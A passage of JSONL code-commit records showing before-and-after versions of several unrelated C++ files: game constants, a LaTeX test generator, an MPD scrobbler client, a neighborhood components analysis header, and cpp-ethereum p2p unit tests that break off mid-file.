FENCE_HEIGHT_VIEW(FENCE_HEIGHT_MODEL * .7f);\n\tconst float FENCE_PART_LENGTH(BIKE_DIMENSIONS.y() \/ 2);\n\tconst float FENCE_PART_WIDTH(BIKE_DIMENSIONS.x() * .3f);\n\tconst int DEFAULT_MAX_FENCE_PARTS(400);\n\n\t\/\/ CAMERA\n\tconst osg::Vec3 CAMERA_POSITION_OFFSET(0, 0, BIKE_DIMENSIONS.y());\n\tconst float CAMERA_ROTATION_OFFSET(.05f);\n\tconst osg::Vec3 CAMERA_EYE_POSITION(0.f,-BIKE_DIMENSIONS.y()*5.5f,BIKE_DIMENSIONS.z()*.8f);\n\tconst float CAMERA_TILT_FACTOR(4.f);\n\tconst int HUD_PROJECTION_SIZE(1000);\n\n\n\tconst unsigned int CAMERA_MASK_MAIN(0x1);\n\tconst unsigned int CAMERA_MASK_RADAR(0x2);\n\n\t\/\/ PHYSICS\n\tconst float BIKE_FENCE_IMPACT_THRESHOLD_LOW(BIKE_MASS*BIKE_VELOCITY_MIN);\n\tconst float BIKE_FENCE_IMPACT_THRESHOLD_HIGH(BIKE_MASS*BIKE_VELOCITY_MAX \/ 3);\n\n\n\tconst float BIKE_DEFAULT_HEALTH(5 * BIKE_FENCE_IMPACT_THRESHOLD_HIGH);\n\n\t\/\/ AUDIO\n\tconst int ENGINE_FREQUENCY_LOW(50000);\n\tconst int ENGINE_FREQUENCY_HIGH(120000);\n\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Revert \"Measure: Don't use kdebug_signpost on Travis CI\"<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include \"include\/dir.h\"\n#include \"include\/generator.h\"\n\nusing namespace std;\n\n\/\/main program\nint main()\n{\n  fstream cfgfile;\n  cfgfile.open(\".\/testgen.cfg\");\n  if(!cfgfile.is_open())\n  {\n    cfgfile.open(\".\/testgen.cfg\", ios::out);\n    cout << \"config not found, generating config file testgen.cfg.\"<<endl<<\"Set your templates folder and adjust the other settings\" << endl;\n    cfgfile << \".\/templates\" << endl << \"\/tmp\" << endl << \"\/tmp\/savedtests\" << endl<< \"latexmk -f -pdf\" << endl << \"evince\" << endl;\n    cfgfile.close();\n    return 0;\n  }\n  string sTemplatesPath, sTempPath, sMake, sShow, sSaveBasePath;\n  getline(cfgfile,sTemplatesPath);\n  getline(cfgfile,sTempPath);\n  getline(cfgfile,sSaveBasePath);\n  MyDir::createDir(sSaveBasePath);\n  getline(cfgfile,sMake);\n  getline(cfgfile,sShow);\n  MyDir::dirlist _dirlist;\n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath);\n \n  cout << \"available subjects:\" << endl;\n  for(int i=0;i<_dirlist.size();i++)\n  {\n    cout << i+1 << \": \" <<_dirlist[i] << endl;\n  }\n  int iSelect;\n  string sSubject;\n  cout << \"select test subject number\" << endl;\n  cin >> iSelect;\n  sSubject=_dirlist[iSelect-1];\n \n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath+\"\/\"+sSubject);\n \n  cout << \"available classes:\" << endl;\n  for(int i=0;i<_dirlist.size();i++)\n  {\n    cout << i+1 << \": \" << _dirlist[i] << endl;\n  }\n  string sClass;\n  cout << \"select class\" << endl;\n  cin >> iSelect;\n  sClass=_dirlist[iSelect-1];\n\n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath+\"\/\"+sSubject+\"\/\"+sClass);\n  \n  string sCName, sTitle, sDate;\n  cin.ignore (numeric_limits<std::streamsize>::max(), '\\n');\/\/flush for getline \n  cout << \"Enter class name, e.g. Klasse 5a\" << endl;\n  getline(cin,sCName);\n  \n  cout << \"Enter test title, e.g. 1. Schulaufgabe\" << endl;\n  getline(cin,sTitle);\n  \n  cout << \"Enter test date\" << endl;\n  getline(cin,sDate);\n\n  generator *gen=new generator(sTemplatesPath,sTempPath, sMake, sShow,sCName,sTitle, sDate);\n  string sBasePath=sTemplatesPath+\"\/\"+sSubject+\"\/\"+sClass;\n  gen->showAvailableTests(sBasePath);\n  string sSelectedTestNumbers;\n  cout << \"Enter test numbers to generate new test, seperated my colon\"<<endl;\n  cin >> sSelectedTestNumbers;\n  string sPath;\n  cout << \"enter save path: \" + sSaveBasePath+\"\/\" << endl;\n  cin >> sPath;\n  while(MyDir::bTestExists(sSaveBasePath + \"\/\" + sPath))\n  {\n    cout << sSaveBasePath << \"\/main.tex exists!\" << endl;\n    cin >> sPath;\n  }\n  sPath=sSaveBasePath+\"\/\"+sPath;\n  gen->generateTestFromSelectionString(sBasePath, sSelectedTestNumbers, sPath);\n  return 0;\n}\n\n<commit_msg>added preview mode<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include \"include\/dir.h\"\n#include \"include\/generator.h\"\n\nusing namespace std;\n\n\/\/main program\nint main()\n{\n  fstream cfgfile;\n  cfgfile.open(\".\/testgen.cfg\");\n  if(!cfgfile.is_open())\n  {\n    cfgfile.open(\".\/testgen.cfg\", ios::out);\n    cout << \"config not found, generating config file testgen.cfg.\"<<endl<<\"Set your templates folder and adjust the other settings\" << endl;\n    cfgfile << \".\/templates\" << endl << \"\/tmp\" << endl << \"\/tmp\/savedtests\" << endl<< \"latexmk -f -pdf\" << endl << \"evince\" << endl;\n    cfgfile.close();\n    return 0;\n  }\n  string sTemplatesPath, sTempPath, sMake, sShow, sSaveBasePath;\n  getline(cfgfile,sTemplatesPath);\n  getline(cfgfile,sTempPath);\n  getline(cfgfile,sSaveBasePath);\n  MyDir::createDir(sSaveBasePath);\n  getline(cfgfile,sMake);\n  getline(cfgfile,sShow);\n  MyDir::dirlist _dirlist;\n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath);\n\n  cout << \"available subjects:\" << endl;\n  for(int i=0;i<_dirlist.size();i++)\n  {\n    cout << i+1 << \": \" <<_dirlist[i] << endl;\n  }\n  int iSelect;\n  string sSubject;\n  cout << \"select test subject number\" << endl;\n  cin >> iSelect;\n  sSubject=_dirlist[iSelect-1];\n\n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath+\"\/\"+sSubject);\n\n  cout << \"available classes:\" << endl;\n  for(int i=0;i<_dirlist.size();i++)\n  {\n    cout << i+1 << \": \" << _dirlist[i] << endl;\n  }\n  string sClass;\n  cout << \"select class\" << endl;\n  cin >> iSelect;\n  sClass=_dirlist[iSelect-1];\n\n  _dirlist=MyDir::getAllSubdirs(sTemplatesPath+\"\/\"+sSubject+\"\/\"+sClass);\n\n  string sCName, sTitle, sDate;\n  cin.ignore (numeric_limits<std::streamsize>::max(), '\\n');\/\/flush for getline \n  cout << \"Enter class name, e.g. Klasse 5a. Enter '-' for preview mode\" << endl;\n  getline(cin,sCName);\n  bool bPreviewMode=(sCName==\"-\");\n  if(!bPreviewMode)\n  {\n    cout << \"Enter test title, e.g. 1. Schulaufgabe\" << endl;\n    getline(cin,sTitle);\n\n    cout << \"Enter test date\" << endl;\n    getline(cin,sDate);\n  }\n  generator *gen=new generator(sTemplatesPath,sTempPath, sMake, sShow,sCName,sTitle, sDate);\n  string sBasePath=sTemplatesPath+\"\/\"+sSubject+\"\/\"+sClass;\n  gen->showAvailableTests(sBasePath);\n  if(bPreviewMode)\n    return 0;\n  string sSelectedTestNumbers;\n  cout << \"Enter test numbers to generate new test, seperated my colon\"<<endl;\n  cin >> sSelectedTestNumbers;\n  string sPath;\n  cout << \"enter save path: \" + sSaveBasePath+\"\/\" << endl;\n  cin >> sPath;\n  while(MyDir::bTestExists(sSaveBasePath + \"\/\" + sPath))\n  {\n    cout << sSaveBasePath << \"\/main.tex exists!\" << endl;\n    cin >> sPath;\n  }\n  sPath=sSaveBasePath+\"\/\"+sPath;\n  gen->generateTestFromSelectionString(sBasePath, sSelectedTestNumbers, sPath);\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"mpdas.h\"\n\nCMPD* MPD = 0;\n\nvoid\nCMPD::SetSong(const Song *song)\n{\n    _cached = false;\n\tif(song && !song->getArtist().empty() && !song->getTitle().empty()) {\n        _song = *song;\n\t\t_gotsong = true;\n\t\tiprintf(\"New song: %s - %s\", _song.getArtist().c_str(), _song.getTitle().c_str());\n        AudioScrobbler->SendNowPlaying(*song);\n\t}\n\telse {\n\t\t_gotsong = false;\n\t}\n\t_starttime = time(NULL);\n}\n\nvoid\nCMPD::CheckSubmit(int curplaytime)\n{\n\tif(!_gotsong || _cached || (_song.getArtist().empty() || _song.getTitle().empty())) return;\n\tif(curplaytime - _start >= 240 || curplaytime - _start >= _song.getDuration()\/2) {\n\t\tCache->AddToCache(_song, _starttime);\n\t\t_cached = true;\n\t}\n}\n\nCMPD::CMPD()\n{\n    _conn = NULL;\n\t_gotsong = false;\n\t_connected = false;\n\t_cached = false;\n    _songid = -1;\n    _songpos = -1;\n\n\tif(Connect())\n\t\tiprintf(\"%s\", \"Connected to MPD.\");\n\telse\n\t\teprintf(\"%s\", \"Could not connect to MPD.\");\n}\n\nCMPD::~CMPD()\n{\n\tif(_conn)\n\t\tmpd_connection_free(_conn);\n}\n\nbool\nCMPD::Connect()\n{\n    std::cout << _conn;\n    if(_conn)\n        mpd_connection_free(_conn);\n\n\t_conn = mpd_connection_new(Config->getMHost().c_str(), Config->getMPort(), 0);\n    _connected = _conn && mpd_connection_get_error(_conn) == MPD_ERROR_SUCCESS;\n\n    if(_connected && Config->getMPassword().size() > 0) {\n        _connected &= mpd_run_password(_conn, Config->getMPassword().c_str());\n    }\n\n    if(_connected)\n        mpd_run_subscribe(_conn, \"mpdas\");\n\n\treturn _connected;\n}\n\nvoid\nCMPD::GotNewSong(struct mpd_song *song)\n{\n    Song *s = new Song(song);\n    SetSong(s);\n    delete s;\n}\n\nvoid\nCMPD::Update()\n{\n\tif(!_connected) {\n        iprintf(\"Reconnecting in 10 seconds.\");\n        sleep(10);\n\t\tif(Connect())\n            iprintf(\"%s\", \"Reconnected!\");\n        else {\n            eprintf(\"%s\", \"Could not reconnect.\");\n            return;\n        }\n\t}\n\n    mpd_status *status = mpd_run_status(_conn);\n    mpd_stats *stats = mpd_run_stats(_conn);\n\n    if(status && stats) {\n        int newsongid = mpd_status_get_song_id(status);\n        int newsongpos = mpd_status_get_elapsed_time(status);\n        int curplaytime = mpd_stats_get_play_time(stats);\n        mpd_song *song = mpd_run_current_song(_conn);\n\n        \/\/ new song\n        if(newsongid != _songid) {\n            _songid = newsongid;\n            _songpos = newsongpos;\n            _start = curplaytime;\n\n            if(song) {\n                GotNewSong(song);\n                mpd_song_free(song);\n            }\n        }\n\n        \/\/ song playing\n        if(newsongpos != _songpos) {\n            _songpos = newsongpos;\n            CheckSubmit(curplaytime);\n        }\n\n        \/\/ check for client-to-client messages\n        if(mpd_send_read_messages(_conn)) {\n            mpd_message *msg;\n            while((msg = mpd_recv_message(_conn)) != NULL) {\n                const char *text = mpd_message_get_text(msg);\n                if(_gotsong && text && !strncmp(text, \"love\", 4))\n                    AudioScrobbler->LoveTrack(_song);\n                mpd_message_free(msg);\n            }\n            mpd_response_finish(_conn);\n        }\n\n        mpd_status_free(status);\n        mpd_stats_free(stats);\n    }\n    else { \/\/ we have most likely lost our connection\n        eprintf(\"Could not query MPD server: %s\", mpd_connection_get_error_message(_conn));\n        _connected = false;\n    }\n}\n\nSong::Song(struct mpd_song *song)\n{\n    const char* temp;\n\n    temp = mpd_song_get_tag(song, MPD_TAG_ARTIST, 0);\n    artist = temp ? temp : \"\";\n\n    temp = mpd_song_get_tag(song, MPD_TAG_TITLE, 0);\n    title = temp ? temp : \"\";\n\n    temp = mpd_song_get_tag(song, MPD_TAG_ALBUM, 0);\n    album = temp ? temp : \"\";\n\n    duration = mpd_song_get_duration(song);\n}\n<commit_msg>remove debug print leftover<commit_after>#include \"mpdas.h\"\n\nCMPD* MPD = 0;\n\nvoid\nCMPD::SetSong(const Song *song)\n{\n    _cached = false;\n\tif(song && !song->getArtist().empty() && !song->getTitle().empty()) {\n        _song = *song;\n\t\t_gotsong = true;\n\t\tiprintf(\"New song: %s - %s\", _song.getArtist().c_str(), _song.getTitle().c_str());\n        AudioScrobbler->SendNowPlaying(*song);\n\t}\n\telse {\n\t\t_gotsong = false;\n\t}\n\t_starttime = time(NULL);\n}\n\nvoid\nCMPD::CheckSubmit(int curplaytime)\n{\n\tif(!_gotsong || _cached || (_song.getArtist().empty() || _song.getTitle().empty())) return;\n\tif(curplaytime - _start >= 240 || curplaytime - _start >= _song.getDuration()\/2) {\n\t\tCache->AddToCache(_song, _starttime);\n\t\t_cached = true;\n\t}\n}\n\nCMPD::CMPD()\n{\n    _conn = NULL;\n\t_gotsong = false;\n\t_connected = false;\n\t_cached = false;\n    _songid = -1;\n    _songpos = -1;\n\n\tif(Connect())\n\t\tiprintf(\"%s\", \"Connected to MPD.\");\n\telse\n\t\teprintf(\"%s\", \"Could not connect to MPD.\");\n}\n\nCMPD::~CMPD()\n{\n\tif(_conn)\n\t\tmpd_connection_free(_conn);\n}\n\nbool\nCMPD::Connect()\n{\n    if(_conn)\n        mpd_connection_free(_conn);\n\n\t_conn = mpd_connection_new(Config->getMHost().c_str(), Config->getMPort(), 0);\n    _connected = _conn && mpd_connection_get_error(_conn) == MPD_ERROR_SUCCESS;\n\n    if(_connected && Config->getMPassword().size() > 0) {\n        _connected &= mpd_run_password(_conn, Config->getMPassword().c_str());\n    }\n\n    if(_connected)\n        mpd_run_subscribe(_conn, \"mpdas\");\n\n\treturn _connected;\n}\n\nvoid\nCMPD::GotNewSong(struct mpd_song *song)\n{\n    Song *s = new Song(song);\n    SetSong(s);\n    delete s;\n}\n\nvoid\nCMPD::Update()\n{\n\tif(!_connected) {\n        iprintf(\"Reconnecting in 10 seconds.\");\n        sleep(10);\n\t\tif(Connect())\n            iprintf(\"%s\", \"Reconnected!\");\n        else {\n            eprintf(\"%s\", \"Could not reconnect.\");\n            return;\n        }\n\t}\n\n    mpd_status *status = mpd_run_status(_conn);\n    mpd_stats *stats = mpd_run_stats(_conn);\n\n    if(status && stats) {\n        int newsongid = mpd_status_get_song_id(status);\n        int newsongpos = mpd_status_get_elapsed_time(status);\n        int curplaytime = mpd_stats_get_play_time(stats);\n        mpd_song *song = mpd_run_current_song(_conn);\n\n        \/\/ new song\n        if(newsongid != _songid) {\n            _songid = newsongid;\n            _songpos = newsongpos;\n            _start = curplaytime;\n\n            if(song) {\n                GotNewSong(song);\n                mpd_song_free(song);\n            }\n        }\n\n        \/\/ song playing\n        if(newsongpos != _songpos) {\n            _songpos = newsongpos;\n            CheckSubmit(curplaytime);\n        }\n\n        \/\/ check for client-to-client messages\n        if(mpd_send_read_messages(_conn)) {\n            mpd_message *msg;\n            while((msg = mpd_recv_message(_conn)) != NULL) {\n                const char *text = mpd_message_get_text(msg);\n                if(_gotsong && text && !strncmp(text, \"love\", 4))\n                    AudioScrobbler->LoveTrack(_song);\n                mpd_message_free(msg);\n            }\n            mpd_response_finish(_conn);\n        }\n\n        mpd_status_free(status);\n        mpd_stats_free(stats);\n    }\n    else { \/\/ we have most likely lost our connection\n        eprintf(\"Could not query MPD server: %s\", mpd_connection_get_error_message(_conn));\n        _connected = false;\n    }\n}\n\nSong::Song(struct mpd_song *song)\n{\n    const char* temp;\n\n    temp = mpd_song_get_tag(song, MPD_TAG_ARTIST, 0);\n    artist = temp ? temp : \"\";\n\n    temp = mpd_song_get_tag(song, MPD_TAG_TITLE, 0);\n    title = temp ? temp : \"\";\n\n    temp = mpd_song_get_tag(song, MPD_TAG_ALBUM, 0);\n    album = temp ? temp : \"\";\n\n    duration = mpd_song_get_duration(song);\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef NCA_HPP\n#define NCA_HPP\n\n#include <iostream>\n#include <limits>\n#include <vector>\n\n#include <Eigen\/Core>\n\nvoid nearest_neighbors(const std::vector<Eigen::VectorXd>& input, const std::vector<std::string> label) {\n    unsigned int correct = 0;\n\n    for(unsigned int i = 0; i < input.size(); ++i) {\n        double min_norm = std::numeric_limits<double>::infinity();\n        std::string min_norm_label;\n        for(unsigned int j = 0; j < input.size(); ++j) {\n            if(i == j) continue;\n            double norm = (input[i] - input[j]).norm();\n            if(norm < min_norm) {\n                min_norm = norm;\n                min_norm_label = label[j];\n            }\n        }\n\n        if(label[i] == min_norm_label) {\n            ++correct;\n        }\n    }\n\n    std::cout << \"Got \" << correct << \" correct out of \" << input.size() << std::endl;\n}\n\nEigen::MatrixXd scaling_matrix(const std::vector<Eigen::VectorXd>& input) {\n    Eigen::MatrixXd A;\n    if(input.size() == 0) return A;\n\n    int size = input[0].size();\n\n    std::vector< std::pair<double, double> > minmax(size, std::make_pair(std::numeric_limits<double>::infinity(), -std::numeric_limits<double>::infinity()));\n    for(std::vector<Eigen::VectorXd>::const_iterator i = input.begin(); i != input.end(); ++i) {\n        for(int j = 0; j < i->size(); ++j) {\n            double val = (*i)[j];\n            if(val < minmax[j].first) {\n                minmax[j] = std::make_pair(val, minmax[j].second);\n            }\n            if(val > minmax[j].second) {\n                minmax[j] = std::make_pair(minmax[j].first, val);\n            }\n        }\n    }\n\n    A = Eigen::MatrixXd::Identity(size, size);\n    for(unsigned int i = 0; i < minmax.size(); ++i) {\n        A(i, i) = 1.0\/(minmax[i].second - minmax[i].first);\n    }\n\n    return A;\n}\n\nstd::vector<Eigen::VectorXd> scale(const Eigen::MatrixXd ScaleA, const std::vector<Eigen::VectorXd>& input) {\n    std::vector<Eigen::VectorXd> scaled_input;\n    for(std::vector<Eigen::VectorXd>::const_iterator i = input.begin(); i != input.end(); ++i) {\n        scaled_input.push_back(ScaleA * (*i));\n    }\n\n    return scaled_input;\n}\n\nEigen::MatrixXd neighborhood_components_analysis(const std::vector<Eigen::VectorXd>& input, const std::vector<std::string> label, const Eigen::MatrixXd& init, unsigned int iterations, double learning_rate) {\n    Eigen::MatrixXd A = init;\n    for(unsigned int it = 0; it < iterations; ++it) {\n        unsigned int i = it % input.size();\n\n        double softmax_normalization = 0.0;\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) continue;\n            softmax_normalization += std::exp(-(A*input[i] - A*input[k]).squaredNorm());\n        }\n\n        std::vector<double> softmax;\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) softmax.push_back(0.0);\n            else {\n                softmax.push_back(std::exp(-(A*input[i] - A*input[k]).squaredNorm()) \/ softmax_normalization);\n            }\n        }\n\n        double p = 0.0;\n        for(unsigned int k = 0; k < softmax.size(); ++k) {\n            if(label[k] == label[i]) p += softmax[k];\n        }\n\n        Eigen::MatrixXd first_term = Eigen::MatrixXd::Zero(input[0].size(), input[0].size());\n        Eigen::MatrixXd second_term = Eigen::MatrixXd::Zero(input[0].size(), input[0].size());\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) continue;\n            Eigen::VectorXd xik = input[i] - input[k];\n            Eigen::MatrixXd term = softmax[k] * (xik * xik.transpose());\n\n            first_term += term;\n            if(label[k] == label[i]) second_term += term;\n        }\n        first_term *= p;\n\n        A += learning_rate*A*(first_term - second_term);\n    }\n\n    return A;\n}\n\n#endif \/\/ NCA_HPP\n<commit_msg>add references<commit_after>#ifndef NCA_HPP\n#define NCA_HPP\n\n#include <iostream>\n#include <limits>\n#include <vector>\n\n#include <Eigen\/Core>\n\nvoid nearest_neighbors(const std::vector<Eigen::VectorXd>& input, const std::vector<std::string>& label) {\n    unsigned int correct = 0;\n\n    for(unsigned int i = 0; i < input.size(); ++i) {\n        double min_norm = std::numeric_limits<double>::infinity();\n        std::string min_norm_label;\n        for(unsigned int j = 0; j < input.size(); ++j) {\n            if(i == j) continue;\n            double norm = (input[i] - input[j]).norm();\n            if(norm < min_norm) {\n                min_norm = norm;\n                min_norm_label = label[j];\n            }\n        }\n\n        if(label[i] == min_norm_label) {\n            ++correct;\n        }\n    }\n\n    std::cout << \"Got \" << correct << \" correct out of \" << input.size() << std::endl;\n}\n\nEigen::MatrixXd scaling_matrix(const std::vector<Eigen::VectorXd>& input) {\n    Eigen::MatrixXd A;\n    if(input.size() == 0) return A;\n\n    int size = input[0].size();\n\n    std::vector< std::pair<double, double> > minmax(size, std::make_pair(std::numeric_limits<double>::infinity(), -std::numeric_limits<double>::infinity()));\n    for(std::vector<Eigen::VectorXd>::const_iterator i = input.begin(); i != input.end(); ++i) {\n        for(int j = 0; j < i->size(); ++j) {\n            double val = (*i)[j];\n            if(val < minmax[j].first) {\n                minmax[j] = std::make_pair(val, minmax[j].second);\n            }\n            if(val > minmax[j].second) {\n                minmax[j] = std::make_pair(minmax[j].first, val);\n            }\n        }\n    }\n\n    A = Eigen::MatrixXd::Identity(size, size);\n    for(unsigned int i = 0; i < minmax.size(); ++i) {\n        A(i, i) = 1.0\/(minmax[i].second - minmax[i].first);\n    }\n\n    return A;\n}\n\nstd::vector<Eigen::VectorXd> scale(const Eigen::MatrixXd& ScaleA, const std::vector<Eigen::VectorXd>& input) {\n    std::vector<Eigen::VectorXd> scaled_input;\n    for(std::vector<Eigen::VectorXd>::const_iterator i = input.begin(); i != input.end(); ++i) {\n        scaled_input.push_back(ScaleA * (*i));\n    }\n\n    return scaled_input;\n}\n\nEigen::MatrixXd neighborhood_components_analysis(const std::vector<Eigen::VectorXd>& input, const std::vector<std::string>& label, const Eigen::MatrixXd& init, unsigned int iterations, double learning_rate) {\n    Eigen::MatrixXd A = init;\n    for(unsigned int it = 0; it < iterations; ++it) {\n        unsigned int i = it % input.size();\n\n        double softmax_normalization = 0.0;\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) continue;\n            softmax_normalization += std::exp(-(A*input[i] - A*input[k]).squaredNorm());\n        }\n\n        std::vector<double> softmax;\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) softmax.push_back(0.0);\n            else {\n                softmax.push_back(std::exp(-(A*input[i] - A*input[k]).squaredNorm()) \/ softmax_normalization);\n            }\n        }\n\n        double p = 0.0;\n        for(unsigned int k = 0; k < softmax.size(); ++k) {\n            if(label[k] == label[i]) p += softmax[k];\n        }\n\n        Eigen::MatrixXd first_term = Eigen::MatrixXd::Zero(input[0].size(), input[0].size());\n        Eigen::MatrixXd second_term = Eigen::MatrixXd::Zero(input[0].size(), input[0].size());\n        for(unsigned int k = 0; k < input.size(); ++k) {\n            if(k == i) continue;\n            Eigen::VectorXd xik = input[i] - input[k];\n            Eigen::MatrixXd term = softmax[k] * (xik * xik.transpose());\n\n            first_term += term;\n            if(label[k] == label[i]) second_term += term;\n        }\n        first_term *= p;\n\n        A += learning_rate*A*(first_term - second_term);\n    }\n\n    return A;\n}\n\n#endif \/\/ NCA_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file net.cpp\n * @author Alex Leverington <nessence@gmail.com>\n * @date 2014\n *\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/Worker.h>\n#include <libdevcrypto\/Common.h>\n#include <libp2p\/UDP.h>\n#include <libp2p\/NodeTable.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\nnamespace ba = boost::asio;\nnamespace bi = ba::ip;\n\nBOOST_AUTO_TEST_SUITE(p2p)\n\n\/**\n * Only used for testing. Not useful beyond tests.\n *\/\nclass TestHost: public Worker\n{\npublic:\n\tTestHost(): Worker(\"test\",0), m_io() {};\n\tvirtual ~TestHost() { m_io.stop(); stopWorking(); }\n\tvoid start() { startWorking(); }\n\tvoid doWork() { m_io.run(); }\n\tvoid doneWorking() { m_io.reset(); m_io.poll(); m_io.reset(); }\n\t\nprotected:\n\tba::io_service m_io;\n};\n\nstruct TestNodeTable: public NodeTable\n{\n\t\/\/\/ Constructor\n\tusing NodeTable::NodeTable;\n\t\n\tstatic std::vector<std::pair<KeyPair,unsigned>> createTestNodes(unsigned _count)\n\t{\n\t\tstd::vector<std::pair<KeyPair,unsigned>> ret;\n\t\tasserts(_count < 1000);\n\t\tstatic uint16_t s_basePort = 30500;\n\t\t\n\t\tret.clear();\n\t\tfor (unsigned i = 0; i < _count; i++)\n\t\t{\n\t\t\tKeyPair k = KeyPair::create();\n\t\t\tret.push_back(make_pair(k,s_basePort+i));\n\t\t}\n\t\t\n\t\treturn std::move(ret);\n\t}\n\t\n\tvoid pingTestNodes(std::vector<std::pair<KeyPair,unsigned>> const& _testNodes)\n\t{\n\t\tbi::address ourIp = bi::address::from_string(\"127.0.0.1\");\n\t\tfor (auto& n: _testNodes)\n\t\t{\n\t\t\tping(bi::udp::endpoint(ourIp, n.second));\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\t}\n\t}\n\t\n\tvoid populateTestNodes(std::vector<std::pair<KeyPair,unsigned>> const& _testNodes, size_t _count = 0)\n\t{\n\t\tif (!_count)\n\t\t\t_count = _testNodes.size();\n\n\t\tbi::address ourIp = bi::address::from_string(\"127.0.0.1\");\n\t\tfor (auto& n: _testNodes)\n\t\t\tif (_count--)\n\t\t\t\tnoteNode(n.first.pub(), bi::udp::endpoint(ourIp, n.second));\n\t\t\telse\n\t\t\t\tbreak;\n\t}\n\t\n\tvoid reset()\n\t{\n\t\tGuard l(x_state);\n\t\tfor (auto& n: m_state) n.nodes.clear();\n\t}\n};\n\n\/**\n * Only used for testing. Not useful beyond tests.\n *\/\nstruct TestNodeTableHost: public TestHost\n{\n\tTestNodeTableHost(unsigned _count = 8): m_alias(KeyPair::create()), nodeTable(new TestNodeTable(m_io, m_alias)), testNodes(TestNodeTable::createTestNodes(_count)) {};\n\t~TestNodeTableHost() { m_io.stop(); stopWorking(); }\n\n\tvoid setup() { for (auto n: testNodes) nodeTables.push_back(make_shared<TestNodeTable>(m_io,n.first,n.second)); }\n\t\n\tvoid pingAll() { for (auto& t: nodeTables) t->pingTestNodes(testNodes); }\n\t\n\tvoid populateAll(size_t _count = 0) { for (auto& t: nodeTables) t->populateTestNodes(testNodes, _count); }\n\t\n\tvoid populate(size_t _count = 0) { nodeTable->populateTestNodes(testNodes, _count); }\n\t\n\tKeyPair m_alias;\n\tshared_ptr<TestNodeTable> nodeTable;\n\tstd::vector<std::pair<KeyPair,unsigned>> testNodes; \/\/ keypair and port\n\tstd::vector<shared_ptr<TestNodeTable>> nodeTables;\n};\n\nclass TestUDPSocket: UDPSocketEvents, public TestHost\n{\npublic:\n\tTestUDPSocket(): m_socket(new UDPSocket<TestUDPSocket, 1024>(m_io, *this, 30300)) {}\n\n\tvoid onDisconnected(UDPSocketFace*) {};\n\tvoid onReceived(UDPSocketFace*, bi::udp::endpoint const&, bytesConstRef _packet) { if (_packet.toString() == \"AAAA\") success = true; }\n\n\tshared_ptr<UDPSocket<TestUDPSocket, 1024>> m_socket;\n\t\n\tbool success = false;\n};\n\nBOOST_AUTO_TEST_CASE(test_neighbors_packet)\n{\n\tKeyPair k = KeyPair::create();\n\tstd::vector<std::pair<KeyPair,unsigned>> testNodes(TestNodeTable::createTestNodes(16));\n\tbi::udp::endpoint to(boost::asio::ip::address::from_string(\"127.0.0.1\"), 30000);\n\t\n\tNeighbors out(to);\n\tfor (auto n: testNodes)\n\t{\n\t\tNeighbors::Node node;\n\t\tnode.ipAddress = boost::asio::ip::address::from_string(\"127.0.0.1\").to_string();\n\t\tnode.port = n.second;\n\t\tnode.node = n.first.pub();\n\t\tout.nodes.push_back(node);\n\t}\n\tout.sign(k.sec());\n\n\tbytesConstRef packet(out.data.data(), out.data.size());\n\tbytesConstRef rlpBytes(packet.cropped(97, packet.size() - 97));\n\tNeighbors in = Neighbors::fromBytesConstRef(to, rlpBytes);\n\tint count = 0;\n\tfor (auto n: in.nodes)\n\t{\n\t\tBOOST_REQUIRE_EQUAL(testNodes[count].second, n.port);\n\t\tBOOST_REQUIRE_EQUAL(testNodes[count].first.pub(), n.node);\n\t\tBOOST_REQUIRE_EQUAL(sha3(testNodes[count].first.pub()), sha3(n.node));\n\t\tcount++;\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(test_findnode_neighbors)\n{\n\t\/\/ Executing findNode should result in a list which is serialized\n\t\/\/ into Neighbors packet. Neighbors packet should then be deserialized\n\t\/\/ into the same list of nearest nodes.\n}\n\nBOOST_AUTO_TEST_CASE(test_windows_template)\n{\n\tbi::udp::endpoint ep;\n\tPingNode p(ep);\n}\n\nBOOST_AUTO_TEST_CASE(kademlia)\n{\n\t\/\/ Not yet a 'real' test.\n\tTestNodeTableHost node(8);\n\tnode.start();\n\tnode.nodeTable->join(); \/\/ ideally, joining with empty node table logs warning we can check for\n\tnode.setup();\n\tnode.populate();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.populateAll();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.nodeTable->reset();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\n\tnode.populate(1);\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.nodeTable->join();\n\tthis_thread::sleep_for(chrono::milliseconds(2000));\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n}\n\nBOOST_AUTO_TEST_CASE(test_udp_once)\n{\n\tUDPDatagram 